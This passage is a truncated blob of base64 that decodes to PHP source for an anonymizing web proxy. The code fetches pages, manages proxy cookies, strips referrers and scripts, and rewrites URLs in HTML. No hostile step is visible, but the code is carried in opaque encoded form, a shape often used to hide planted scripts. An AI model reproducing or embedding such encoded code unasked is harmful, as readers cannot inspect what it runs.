lmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuR